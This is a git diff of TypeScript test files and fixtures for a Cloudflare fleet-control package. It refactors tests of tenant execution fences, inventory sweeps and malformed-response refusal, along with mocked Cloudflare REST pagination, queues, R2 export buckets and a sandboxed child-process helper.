b/packages/fleet-control/test/direct-reference-fence.harness.test.ts @@ -6,31 +6,23 @@ import { } from '@proofoftech/flowsafe/deployment-identity-protocol'; import { INVENTORY_CATEGORIES } from '@proofoftech/flowsafe/do-runner'; import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import type { + DirectFenceReading, + DirectFenceSweep, +} from '../scripts/direct-reference-fence.js'; import { createDirectReferenceHarness, type DirectReferenceHarness, } from './fixtures/direct-reference-harness.js'; import type { D1State } from './fixtures/provider-world.js'; -type Reading = { - state: string; - mutationEpoch: number; - requireMutationEpoch: boolean; - transitionRevision: number; -}; -type Sweep = { - fence: Reading; - categories: { category: string; class: string; empty: boolean }[]; - observedAt: number; -}; - describe.sequential('reference fence composition at release 1', { timeout: 180_000, }, () => { let fixture: DirectReferenceHarness; - let initial: Reading; - let drained: Reading; - let first: Sweep; + let initial: DirectFenceReading; + let drained: DirectFenceReading; + let first: DirectFenceSweep; beforeAll(async () => { fixture = await createDirectReferenceHarness({ applicationProbes: true, @@ -42,9 +34,13 @@ describe.sequential('reference fence composition at release 1', { }, 30_000); const read = (role: 'a' | 'b' = 'a') => - fixture.success({ kind: 'tenant-fence', role, operation: 'read' }); + fixture.success({ + kind: 'tenant-fence', + role, + operation: 'read', + }); const inventory = () => - fixture.success({ + fixture.success({ kind: 'tenant-fence', role: 'a', operation: 'inventory', @@ -99,24 +95,18 @@ describe.sequential('reference fence composition at release 1', { }); it('sweeps open role a with empty work categories', async () => { - const { response, value } = await fixture.call({ - kind: 'tenant-fence', - role: 'a', - operation: 'inventory', - }); - expect(value.ok).toBe(true); - expect(response.headers.get('X-Direct-Maintenance-Attempts')).toBe('11'); - first = value.result as Sweep; + first = await inventory(); expect(first.fence.state).toBe('open'); expect( - first.categories.every( - (entry) => entry.class === 'standing' || entry.empty, - ), + first.categories.every((entry) => entry.class !== 'work' || entry.empty), ).toBe(true); }); it('drains role a once and classifies release-1 epochs against the activated fence', async () => { - const result = await fixture.success<{ ok: boolean; after: Reading }>({ + const result = await fixture.success<{ + ok: boolean; + after: DirectFenceReading; + }>({ kind: 'tenant-fence', role: 'a', operation: 'drain', @@ -147,31 +137,21 @@ describe.sequential('reference fence composition at release 1', { classification: 'stale', status: 409, }); + // This fixture checks epochs without a router or schedule mutation. The + // scenario's post-migration probes use the active release's advanced epoch. const stale = await probe('probe-stale'); const future = await probe('probe-future'); const missing = await probe('probe-missing'); expect(stale).toEqual({ epoch: 'stale', classification: 'stale' }); expect(future).toEqual({ epoch: 'future', classification: 'accepted' }); expect(missing).toEqual({ epoch: 'missing', classification: 'missing' }); - // This fixture checks epochs without a router or schedule mutation. The - // scenario's post-migration probes use the active release's advanced epoch. - process.stdout.write( - `A1_POST_DRAIN_CLASSIFICATIONS ${JSON.stringify({ - current: current.classification, - stale: stale.classification, - future: future.classification, - missing: missing.classification, - })}\n`, - ); }); it('sweeps draining role a and reopens with the epoch requirement preserved', async () => { const second = await inventory(); expect(second.fence.state).toBe('draining'); expect( - second.categories.every( - (entry) => entry.class === 'standing' || entry.empty, - ), + second.categories.every((entry) => entry.class !== 'work' || entry.empty), ).toBe(true); for (const observedAt of [first.observedAt, second.observedAt]) { expect(Number.isFinite(observedAt)).toBe(true); @@ -302,11 +282,26 @@ describe.sequential('reference fence composition at release 1', { if (!original) throw new Error('missing fixture database for role a'); const fenceRow = (state: D1State) => state.queryDatabase( - `SELECT state, mutation_epoch, require_mutation_epoch, transition_revision + `SELECT state, mutation_epoch, require_mutation_epoch, + transition_revision, proof_key, proof_run_id FROM ${EXECUTION_FENCE_TABLE} WHERE id = ?`, [EXECUTION_FENCE_ROW_ID], ); - expect(fenceRow(original.clone())).toEqual(fenceRow(original)); + const replayed = fenceRow(original); + const [row] = replayed; + if (!row) throw new Error('missing fixture fence row for role a'); + expect({ + mutationEpoch: typeof row.mutation_epoch, + requireMutationEpoch: typeof row.require_mutation_epoch, + transitionRevision: typeof row.transition_revision, + proofRunId: row.proof_run_id, + }).toEqual({ + mutationEpoch: 'number', + requireMutationEpoch: 'number', + transitionRevision: 'number', + proofRunId: null, + }); + expect(fenceRow(original.clone())).toEqual(replayed); }); it('refuses malformed tenant responses and accepts extra reading fields', async () => { @@ -330,44 +325,39 @@ describe.sequential('reference fence composition at release 1', { release: 'initial', }), ).toMatchObject({ status: 'ready' }); + // Media type, body limit, parse, state and counter, in that order. const cases = [ - [ - 'media', - () => - new Response(JSON.stringify(valid), { - headers: { 'content-type': 'text/plain' }, - }), - ], - [ - 'body-limit', - () => Response.json({ ...valid, extra: 'x'.repeat(4096) }), - ], - [ - 'parse', - () => - new Response('{', { - headers: { 'content-type': 'application/json' }, - }), - ], - ['state', () => Response.json({ ...valid, state: 'sealed' })], - ['counter', () => Response.json({ ...valid, transitionRevision: '7' })], + () => + new Response(JSON.stringify(valid), { + headers: { 'content-type': 'text/plain' }, + }), + () => Response.json({ ...valid, extra: 'x'.repeat(4096) }), + () => + new Response('{', { + headers: { 'content-type': 'application/json' }, + }), + () => Response.json({ ...valid, state: 'sealed' }), + () => Response.json({ ...valid, transitionRevision: '7' }), ] as const; - for (const [name, response] of cases) { + for (const [index, response] of cases.entries()) { answer = response; const { response: failed, value } = await isolated.call({ kind: 'tenant-fence', role: 'a', operation: 'read', }); - expect(failed.status).toBe(409); - expect(value).toEqual({ - contractVersion: 1, - ok: false, - error: { code: 'operation-refused' }, + expect({ index, status: failed.status }).toEqual({ + index, + status: 409, + }); + expect({ index, value }).toEqual({ + index, + value: { + contractVersion: 1, + ok: false, + error: { code: 'operation-refused' }, + }, }); - process.stdout.write( - `A1_MALFORMED_RESPONSE ${name} ${JSON.stringify(value)}\n`, - ); } answer = () => Response.json({ ...valid, proofKey: 'extra', proofRunId: 'extra-run' }); @@ -378,9 +368,71 @@ describe.sequential('reference fence composition at release 1', { operation: 'read', }), ).toEqual(valid); - process.stdout.write( - `A1_EXTRA_FIELDS_ACCEPTED ${JSON.stringify(valid)}\n`, - ); + } finally { + await isolated.close(); + } + }); + + it('holds a work category occupied while it carries an entry or a continuation cursor', async () => { + let fence: DirectFenceReading = { + state: 'open', + mutationEpoch: 0, + requireMutationEpoch: false, + transitionRevision: 7, + }; + let page = () => Response.json({ entries: [] }); + const isolated = await createDirectReferenceHarness({ + applicationProbes: false, + maintenanceNow: Date.now, + applicationFetch: async (request) => { + const url = new URL(request.url); + if (url.pathname !== '/admin/inventory') return Response.json(fence); + return url.searchParams.has('category') + ? page() + : Response.json({ + categories: [{ category: 'jobs', class: 'work' }], + }); + }, + }); + try { + expect( + await isolated.success({ + kind: 'provision', + role: 'a', + release: 'initial', + }), + ).toMatchObject({ status: 'ready' }); + fence = { + state: 'draining', + mutationEpoch: 1, + requireMutationEpoch: true, + transitionRevision: 8, + }; + // Occupied work, then a page that is empty but continues, then the + // drained page. The scenario's drain proof is the third row alone. + for (const [index, body] of [ + { entries: [{ id: 'job-1' }] }, + { entries: [], cursor: 'next-page' }, + { entries: [] }, + ].entries()) { + page = () => Response.json(body); + const sweep = await isolated.success({ + kind: 'tenant-fence', + role: 'a', + operation: 'inventory', + }); + expect({ + index, + categories: sweep.categories, + drained: sweep.categories.every( + (entry) => entry.class !== 'work' || entry.empty, + ), + }).toEqual({ + index, + categories: [{ category: 'jobs', class: 'work', empty: index === 2 }], + drained: index === 2, + }); + } } finally { await isolated.close(); } diff --git a/packages/fleet-control/test/direct-reference-http.test.ts b/packages/fleet-control/test/direct-reference-http.test.ts index 0f9ad408..bbf7d1f5 100644 --- a/packages/fleet-control/test/direct-reference-http.test.ts +++ b/packages/fleet-control/test/direct-reference-http.test.ts @@ -398,6 +398,9 @@ describe('direct reference HTTP boundary inside workerd', () => { beforeAll(async () => { directory = await mkdtemp(join(tmpdir(), 'direct-http-')); const main = join(directory, 'worker.ts'); + // The 100 ms invocation deadline belongs to the probe modes, whose bodies + // never settle; a request without a probe carries a deadline wide enough + // that the workerd round trip cannot spend it. await writeFile( main, `import {handleDirectReferenceHttpRequest} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-http.ts', import.meta.url)))}; @@ -406,7 +409,7 @@ describe('direct reference HTTP boundary inside workerd', () => { let calls=0; if(mode==='stalled')request=new Request(${JSON.stringify(endpoint)},{method:'POST',headers:{authorization:'Bearer ${invokeSecret}'},body:new ReadableStream({cancel(){return new Promise(()=>{});}})}); if(mode==='oversize')request=new Request(${JSON.stringify(endpoint)},{method:'POST',headers:{authorization:'Bearer ${invokeSecret}'},body:new ReadableStream({start(c){c.enqueue(new Uint8Array(17000));},cancel(){return new Promise(()=>{});}})}); - const response=await handleDirectReferenceHttpRequest(request,{invokeSecret:'${invokeSecret}',configSha256:'${configSha256}',invocationTimeoutMs:100,dispatch:async(action)=>{calls++;return {status:'blocked',action};}}); + const response=await handleDirectReferenceHttpRequest(request,{invokeSecret:'${invokeSecret}',configSha256:'${configSha256}',invocationTimeoutMs:mode?100:30000,dispatch:async(action)=>{calls++;return {status:'blocked',action};}}); response.headers.set('x-fixture-dispatches',String(calls));return response; }};`, ); diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index da7c4181..90cdf9ff 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -574,15 +574,20 @@ describe.sequential('private force through native control state', { const active = await fixture.fleetStore.get(names.tenantTag, environment); if (!active?.decommissionIntent) throw new Error('decommission intent is missing'); - // The store rejects this phase/intent pair on write, so corrupt the row - // through SQL to exercise refusal at the native read boundary. + // A 'decommissioned' phase beside an active decommission intent never + // survives a write, so SQL forges the pair: the store refuses the forged + // terminal row at its own read boundary, before the force guard sees it. await fixture.db .prepare( "UPDATE anchorage_fleet_deployments SET phase = 'decommissioned' WHERE tenant_tag = ? AND environment = ?", ) .bind(names.tenantTag, environment) .run(); - expect((await fixture.call(action)).response.status).toBe(500); + const forged = await fixture.call(action); + expect(forged.response.status).toBe(500); + expect(forged.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '0', + ); await fixture.db .prepare( 'UPDATE anchorage_fleet_deployments SET phase = ? WHERE tenant_tag = ? AND environment = ?', diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index 090ae7cc..4347bb76 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -7,6 +7,7 @@ import { ProcessLocalCloudflareApiRateCoordinator, } from '../../src/cloudflare-rate-coordinator.js'; import { + deploymentIdentity, maintenanceResponder, type ProviderWorld, type WorkerRoute, @@ -79,9 +80,17 @@ export function envelope(result: unknown): Response { return page(result, { per_page: 20 }); } +/** The empty page answering a request past the first; undefined for page 1. */ +function pageBeyondFirst(url: URL, info: PageInfo = {}): Response | undefined { + const requested = Number(url.searchParams.get('page') ?? '1'); + return requested === 1 + ? undefined + : pageArray([], { page: requested, ...info }); +} + export function zoneAuthorityResponse( url: URL, - zoneIds: readonly (string | { id: string; name?: string; type?: string })[], + zones: readonly (string | { id: string; name?: string; type?: string })[], routes?: readonly WorkerRoute[], ): Response | undefined { if ( @@ -114,13 +123,10 @@ export function zoneAuthorityResponse( } if (url.pathname.endsWith('/zones')) { expect(url.searchParams.get('account.id')).toBe('account'); - if (Number(url.searchParams.get('page') ?? '1') !== 1) - return pageArray([], { - page: Number(url.searchParams.get('page')), - per_page: 20, - }); + const beyondFirst = pageBeyondFirst(url, { per_page: 20 }); + if (beyondFirst) return beyondFirst; const types = url.searchParams.getAll('type'); - const zones = zoneIds.map((zone) => ({ + const listed = zones.map((zone) => ({ type: 'full', ...(typeof zone === 'string' ? { id: zone } : zone), account: { id: 'account' }, @@ -128,23 +134,23 @@ export function zoneAuthorityResponse( return envelope( types.length > 1 ? [] - : zones.filter((zone) => types.length === 0 || zone.type === types[0]), + : listed.filter((zone) => types.length === 0 || zone.type === types[0]), ); } const parts = url.pathname.split('/').filter(Boolean); const zoneIndex = parts.indexOf('zones'); const zoneId = zoneIndex >= 0 ? parts[zoneIndex + 1] : undefined; if (zoneId && url.pathname.endsWith(`/zones/${zoneId}`)) { - const zone = zoneIds.find((zone) => + const zone = zones.find((zone) => typeof zone === 'string' ? zone === zoneId : zone.id === zoneId, ); - return zone - ? single({ - type: 'full', - ...(typeof zone === 'string' ? { id: zone } : zone), - account: { id: 'account' }, - }) - : Response.json({ errors: [] }, { status: 404 }); + // An unmatched zone detail leaves the request to the caller's fallback. + if (zone) + return single({ + type: 'full', + ...(typeof zone === 'string' ? { id: zone } : zone), + account: { id: 'account' }, + }); } if (routes && zoneId && url.pathname.endsWith('/workers/routes')) { return envelope( @@ -345,7 +351,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { method === 'GET' && target.pathname === '/client/v4/accounts/account/workers/subdomain' ) - return single({ subdomain: 'attested-account' }); + return single({ subdomain: world.accountSubdomain }); const parts = target.pathname.split('/').filter(Boolean); const routeIndex = parts.indexOf('routes'); const routeId = routeIndex >= 0 ? parts[routeIndex + 1] : undefined; @@ -363,16 +369,14 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { const bodyField = (name: string): unknown => body && typeof body === 'object' ? Reflect.get(body, name) : undefined; if (target.pathname.endsWith('/d1/database') && method === 'GET') { - if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([], { page: Number(target.searchParams.get('page')) }); + const beyondFirst = pageBeyondFirst(target); + if (beyondFirst) return beyondFirst; const requestedName = target.searchParams.get('name'); return pageArray( world.databases .filter( ({ name }) => - requestedName === null || - name === requestedName || - name.startsWith(requestedName), + requestedName === null || name.startsWith(requestedName), ) .map(({ databaseId, name }) => ({ uuid: databaseId, @@ -472,21 +476,22 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { }); } if (target.pathname.endsWith('/workers/scripts') && method === 'GET') { - if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([], { page: Number(target.searchParams.get('page')) }); + const beyondFirst = pageBeyondFirst(target); + if (beyondFirst) return beyondFirst; return pageArray( [...world.scripts.entries()].flatMap(([id, script]) => script.present ? [{ id }] : [], ), ); } - if ( - method === 'GET' && - /\/accounts\/[^/]+\/queues$/u.test(target.pathname) - ) { - // The direct lane's residual scan lists the account's queues; no world - // fixture creates one. - return pageArray([]); + if (target.pathname.endsWith('/queues') && method === 'GET') { + // The direct lane's residual scan lists the account's queues. + return pageArray( + world.queues.map(({ queueId, queueName }) => ({ + queue_id: queueId, + queue_name: queueName, + })), + ); } if (target.pathname.endsWith('/workers/domains') && method === 'GET') { const domains = world.customDomains.map((domain) => ({ ...domain })); @@ -537,8 +542,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { target.pathname.endsWith('/workers/durable_objects/namespaces') && method === 'GET' ) { - if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([], { page: Number(target.searchParams.get('page')) }); + const beyondFirst = pageBeyondFirst(target); + if (beyondFirst) return beyondFirst; return pageArray( world.durableObjectNamespaces.map((namespace) => ({ id: namespace.id, @@ -553,7 +558,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { ) { return pageArray( world.dispatchNamespaces.map((namespace) => ({ - namespace_id: namespace.name, + namespace_id: `${namespace.name}-namespace-id`, namespace_name: namespace.name, trusted_workers: false, script_count: namespace.scripts.length, @@ -673,8 +678,8 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { return single({}); } if (target.pathname.endsWith('/secrets') && method === 'GET') { - if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageArray([], { page: Number(target.searchParams.get('page')) }); + const beyondFirst = pageBeyondFirst(target); + if (beyondFirst) return beyondFirst; return pageArray( [...script.secretNames].sort().map((name) => ({ name })), ); @@ -717,7 +722,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { deployments: script.deployment ? [ { - id: script.deploymentId ?? 'deployment', + id: deploymentIdentity(script), created_on: '2026-08-26T00:00:00.000Z', source: 'api', strategy: 'percentage', @@ -838,7 +843,7 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { world.applyDeployment(scriptName, deployment); await world.applyAfter(operation); if (failure) return failureResponse(failure); - return single({ id: 'deployment' }); + return single({ id: deploymentIdentity(script) }); } throw new Error(`unexpected request ${method} ${target.pathname}`); }; diff --git a/packages/fleet-control/test/fixtures/direct-cli-child.ts b/packages/fleet-control/test/fixtures/direct-cli-child.ts new file mode 100644 index 00000000..751da7ac --- /dev/null +++ b/packages/fleet-control/test/fixtures/direct-cli-child.ts @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; + +/** The `file:` URL of one direct CLI script, for a child that imports it. */ +export const directModuleUrl = (name: string) => + new URL(`../../scripts/${name}.mjs`, import.meta.url).href; + +/** + * The preamble a child script runs before it touches the provider: every + * request the run makes is rewritten onto the harness bridge, the origins it + * may reach are fixed, and the global `fetch` is closed so nothing else leaves + * the process. `countRequests` adds the `requests` counter the acceptance + * driver reports. + */ +export const directBridgePreamble = ({ + bridgeUrl, + workerOrigin, + countRequests = false, +}: Readonly<{ + bridgeUrl: string; + workerOrigin: string; + countRequests?: boolean; +}>) => `const originalFetch = globalThis.fetch; +${countRequests ? 'let requests = 0;\n' : ''}const fetch = async (input, init) => { + const request = new Request(input, init); + const url = new URL(request.url); + if (url.origin !== 'https://api.cloudflare.com' && url.origin !== ${JSON.stringify(workerOrigin)}) + throw new Error('unexpected child origin'); +${countRequests ? ' requests += 1;\n' : ''} const headers = new Headers(request.headers); + headers.set('X-Direct-Fixture-Url', request.url); + return originalFetch(${JSON.stringify(bridgeUrl)}, { method: request.method, headers, body: request.body, signal: request.signal, redirect: 'manual', duplex: 'half' }); +}; +globalThis.fetch = async () => { throw new Error('unexpected child network'); }; +`; + +/** + * Runs one child under the current executable and collects both descriptors. + * The child is killed at `timeoutMs` so a hung run is reported with its own + * output rather than as a suite timeout. + */ +export async function spawnDirectChild( + args: readonly string[], + options: Readonly<{ env?: NodeJS.ProcessEnv; timeoutMs: number }>, +) { + const child = spawn(process.execPath, [...args], { + env: { PATH: process.env.PATH, ...options.env }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { + stdout += String(chunk); + }); + child.stderr.on('data', (chunk) => { + stderr += String(chunk); + }); + const status = await new Promise((resolve, reject) => { + const timer = setTimeout(() => { + child.kill('SIGKILL'); + }, options.timeoutMs); + child.once('error', (error) => { + clearTimeout(timer); + reject(error); + }); + child.once('close', (code) => { + clearTimeout(timer); + resolve(code); + }); + }); + return { status, stdout, stderr }; +} diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index ce4cee0f..1ed1fd08 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -31,6 +31,7 @@ import { DIRECT_TENANT_OBJECT_BODY, DIRECT_TENANT_OBJECT_KEY, directTenantMutationEpoch, + directTenantProbeEpoch, } from '../../scripts/direct-credentialed-tenant-object.mjs'; import type { DirectRunBinding } from '../../scripts/direct-reference-context.js'; import { @@ -50,11 +51,50 @@ import { import { directFixtureManifest } from './direct-credentialed-config.js'; import { type D1State, + deploymentIdentity, maintenanceResponder, providerWorld, type SqliteBinding, } from './provider-world.js'; +/** Tenant routes the harness answers with the maintenance credential. */ +const ADMIN_ROUTES: readonly string[] = Object.freeze([ + '/admin/execution-fence', + '/admin/inventory', +]); + +/** Tenant routes the harness answers with the application probe credential. */ +const APPLICATION_ROUTES: readonly string[] = Object.freeze([ + '/__direct/health', + '/__direct/object', + '/__direct/fence-mutate', + '/__direct/fence-probe', +]); + +/** The union a supplied `applicationFetch` is handed. */ +const TENANT_ROUTES: readonly string[] = Object.freeze([ + ...APPLICATION_ROUTES, + ...ADMIN_ROUTES, +]); + +/** Projects a do-runner fault onto the status response the tenant returns. */ +function doStatusResponse(error: unknown): Response { + if (!(error instanceof DoStatusError)) throw error; + return Response.json( + { + error: error.message, + ...(error.reason === undefined ? {} : { reason: error.reason }), + }, + { status: error.status }, + ); +} + +/** Reads the epoch classification a fence comparison refused with. */ +function epochMismatch(error: unknown): MutationEpochMismatchError { + if (!(error instanceof MutationEpochMismatchError)) throw error; + return error; +} + function fixtureFenceDatabase( state: D1State, ): ExecutionFenceDatabase & InventoryDatabase { @@ -106,15 +146,7 @@ async function fixtureExecutionFence( }); return Response.json(executionFenceReadingPayload(reading)); } catch (error) { - if (error instanceof DoStatusError) - return Response.json( - { - error: error.message, - ...(error.reason === undefined ? {} : { reason: error.reason }), - }, - { status: error.status }, - ); - throw error; + return doStatusResponse(error); } } @@ -147,15 +179,7 @@ async function fixtureInventory( }), ); } catch (error) { - if (error instanceof DoStatusError) - return Response.json( - { - error: error.message, - ...(error.reason === undefined ? {} : { reason: error.reason }), - }, - { status: error.status }, - ); - throw error; + return doStatusResponse(error); } } @@ -170,14 +194,13 @@ async function fixtureFenceOutcome( assertMutationEpoch(reading, epoch); return Response.json({ accepted: true }); } catch (error) { - if (error instanceof MutationEpochMismatchError) - return Response.json({ - accepted: false, - code: error.reason.code, - classification: error.reason.classification, - status: error.status, - }); - throw error; + const mismatch = epochMismatch(error); + return Response.json({ + accepted: false, + code: mismatch.reason.code, + classification: mismatch.reason.classification, + status: mismatch.status, + }); } } @@ -193,15 +216,7 @@ async function fixtureFenceProbe( : undefined; if (!['current', 'missing', 'stale', 'future'].includes(epoch)) return Response.json({ error: 'invalid epoch label' }, { status: 400 }); - const host = directTenantMutationEpoch(release); - const supplied = - epoch === 'missing' - ? undefined - : epoch === 'stale' - ? Math.max(0, host - 1) - : epoch === 'future' - ? host + 1 - : host; + const supplied = directTenantProbeEpoch(release, epoch); const reading = await new ExecutionFenceStore( fixtureFenceDatabase(state), ).read(); @@ -209,12 +224,10 @@ async function fixtureFenceProbe( assertMutationEpoch(reading, supplied); return Response.json({ epoch, classification: 'accepted' }); } catch (error) { - if (error instanceof MutationEpochMismatchError) - return Response.json({ - epoch, - classification: error.reason.classification, - }); - throw error; + return Response.json({ + epoch, + classification: epochMismatch(error).reason.classification, + }); } } @@ -259,6 +272,13 @@ export async function createDirectReferenceHarness( const specs = roles.map((role) => directDeploymentSpec(manifest, role, 'initial', secrets[role], binding), ); + /** True for the run's own export bucket, false for a tenant's. */ + const isExportBucket = (name: string | undefined) => + name === binding.exportBucketName; + const exportObjectsPath = `/r2/buckets/${binding.exportBucketName}/objects/`; + const exportObjectsPrefix = `/client/v4/accounts/account${exportObjectsPath}`; + const exportObjectKey = (pathname: string) => + decodeURIComponent(pathname.split('/objects/')[1] ?? ''); let directory: string; let server: TestHarness; @@ -268,6 +288,7 @@ export async function createDirectReferenceHarness( let applicationBytes: R2Bucket; let exportBytes: R2Bucket; const world = providerWorld('uuid'); + world.accountSubdomain = binding.accountWorkersDevSubdomain; const bridgeErrors: unknown[] = []; const sqlFailures: string[] = []; const buckets = new Map< @@ -283,6 +304,28 @@ export async function createDirectReferenceHarness( entry.versionId === version.versionId && entry.percentage === 100, ), ); + /** + * Answers the export bucket's per-key object routes out of `exportBytes`. + * Its one caller is `observedProviderRest`, so `policy.nodeProviderRest` + * decides whether these answer or the plain projection does. + */ + async function exportObjectResponse( + request: CloudflareFixtureRequest, + url: URL, + ): Promise { + if (!url.pathname.startsWith(exportObjectsPrefix)) return undefined; + if (request.method === 'GET') { + const value = await exportBytes.get(exportObjectKey(url.pathname)); + return value + ? new Response(await value.arrayBuffer()) + : new Response(null, { status: 404 }); + } + if (request.method === 'DELETE') { + await exportBytes.delete(exportObjectKey(url.pathname)); + return single({}); + } + return undefined; + } async function observedProviderRest( request: CloudflareFixtureRequest, ): Promise { @@ -299,12 +342,10 @@ export async function createDirectReferenceHarness( : undefined; if ( request.method === 'GET' && - url.pathname.endsWith( - `/deployments/${script?.deploymentId ?? 'deployment'}`, - ) + url.pathname.endsWith(`/deployments/${deploymentIdentity(script)}`) ) return single({ - id: script?.deploymentId ?? 'deployment', + id: deploymentIdentity(script), strategy: 'percentage', versions: script?.deployment?.map(({ versionId, percentage }) => ({ version_id: versionId, @@ -348,28 +389,8 @@ export async function createDirectReferenceHarness( .all(); return single([{ success: true, results: result.results }]); } - if ( - request.method === 'GET' && - url.pathname.startsWith( - `/client/v4/accounts/account/r2/buckets/${binding.exportBucketName}/objects/`, - ) - ) { - const key = decodeURIComponent(url.pathname.split('/objects/')[1] ?? ''); - const value = await exportBytes.get(key); - return value - ? new Response(await value.arrayBuffer()) - : new Response(null, { status: 404 }); - } - if ( - request.method === 'DELETE' && - url.pathname.startsWith( - `/client/v4/accounts/account/r2/buckets/${binding.exportBucketName}/objects/`, - ) - ) { - const key = decodeURIComponent(url.pathname.split('/objects/')[1] ?? ''); - await exportBytes.delete(key); - return single({}); - } + const exported = await exportObjectResponse(request, url); + if (exported) return exported; let response = await rest(request); if (metadata && response.ok && scriptName) { const current = world.scripts.get(scriptName); @@ -437,9 +458,7 @@ export async function createDirectReferenceHarness( (role) => url.hostname === manifest.names.roles[role].routeHostname, ); if (!role) throw new Error('unknown fixture application role'); - const adminRoute = - url.pathname === '/admin/execution-fence' || - url.pathname === '/admin/inventory'; + const adminRoute = ADMIN_ROUTES.includes(url.pathname); if (adminRoute) { if ( request.headers.get('authorization') !== @@ -526,12 +545,7 @@ export async function createDirectReferenceHarness( if ( application && policy.applicationFetch && - (url.pathname === '/__direct/health' || - url.pathname === '/__direct/object' || - url.pathname === '/__direct/fence-mutate' || - url.pathname === '/__direct/fence-probe' || - url.pathname === '/admin/execution-fence' || - url.pathname === '/admin/inventory') + TENANT_ROUTES.includes(url.pathname) ) return policy.applicationFetch(request); const spec = specs.find( @@ -579,10 +593,7 @@ export async function createDirectReferenceHarness( } if (url.origin !== 'https://api.cloudflare.com') throw new Error('unexpected fixture origin'); - if ( - url.pathname.includes(`/r2/buckets/${binding.exportBucketName}/objects/`) - ) - return providerRest(request); + if (url.pathname.includes(exportObjectsPath)) return providerRest(request); const match = url.pathname.match( /^\/client\/v4\/accounts\/account\/r2\/buckets(?:\/([^/]+)(\/objects)?)?$/u, ); @@ -594,21 +605,22 @@ export async function createDirectReferenceHarness( const records = await Promise.all( specs.map((spec) => fleetStore.get(spec.tenantTag, spec.environment)), ); - if ( - typeof requested !== 'string' || - (!( - requested === binding.exportBucketName && jurisdiction === 'default' - ) && - !records.some((record) => + // `scripts/direct-credentialed-bootstrap.mjs` creates the export bucket + // in the `default` jurisdiction, and the first arm answers that create. + // The acceptance seeds the bucket into `buckets` ahead of its run, so + // there the application-resource arm is the one that admits a POST. + const authorized = + typeof requested === 'string' && + ((isExportBucket(requested) && jurisdiction === 'default') || + records.some((record) => record?.applicationResources?.some( (resource) => resource.bucketName === requested && resource.jurisdiction === jurisdiction && resource.state === 'create-authorized', ), - )) - ) - throw new Error('unexpected fixture bucket'); + )); + if (!authorized) throw new Error('unexpected fixture bucket'); const key = `${jurisdiction}:${requested}`; if (buckets.has(key)) return new Response('bucket exists', { status: 409 }); @@ -632,9 +644,12 @@ export async function createDirectReferenceHarness( return single({ buckets: selected }); } const key = `${jurisdiction}:${name}`; + // The injected `getApplicationR2Bucket` failure is armed against a + // tenant's application bucket. The export bucket the run bootstraps is not + // one, so this read steps past the failure, as the delete below does. if ( !match[2] && - name !== binding.exportBucketName && + !isExportBucket(name) && request.method === 'GET' && world.consumeFailure('getApplicationR2Bucket') ) @@ -648,11 +663,7 @@ export async function createDirectReferenceHarness( const descriptor = buckets.get(key); if (!descriptor) return Response.json({ errors: [] }, { status: 404 }); const prefix = `${key}/`; - if ( - name === binding.exportBucketName && - match[2] && - request.method === 'GET' - ) { + if (isExportBucket(name) && match[2] && request.method === 'GET') { const objects = await exportBytes.list({ prefix: url.searchParams.get('prefix') ?? '', }); @@ -679,7 +690,10 @@ export async function createDirectReferenceHarness( } if (!match[2] && request.method === 'GET') return single(descriptor); if (!match[2] && request.method === 'DELETE') { - if (name === binding.exportBucketName) { + if (isExportBucket(name)) { + // This arm answers before the injected `deleteApplicationR2Bucket` + // failure below is consumed: the export bucket the run bootstraps is + // not a tenant application resource. const objects = await exportBytes.list({ limit: 1 }); if (objects.objects.length) return new Response('bucket nonempty', { status: 409 }); diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts index 55d91c74..16dffa14 100644 --- a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -339,6 +339,11 @@ export function auditProof() { }; } +/** + * The largest scenario the journal admits. `callKind` selects the kind of the + * settled call it carries in `lastCall` and `mutation`; the default is the + * larger of the two, so a caller that does not choose still bounds the journal. + */ export function maximalScenario( callKind: 'audit-page' | 'force-terminal' = 'force-terminal', ): MutableScenario { @@ -379,36 +384,41 @@ export function maximalScenario( DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]), ) as MutableScenario['phaseCalls']; phaseCalls['provision-a'] = 3; - const call = { + const settled = { ordinal: 3, - action: { - kind: 'audit-page' as const, - slot: 'audit-after' as const, - limit: 32, - afterOrdinal: 1, - }, outcome: 'returned' as const, attempts: { provider: MAX_COUNT, maintenance: MAX_COUNT, application: MAX_COUNT, }, - migration: { - itemOrdinal: 0 as const, - cursor: MAX_COUNT, - step: MAX_ID, - itemsSha256: DIGEST, - }, }; - const 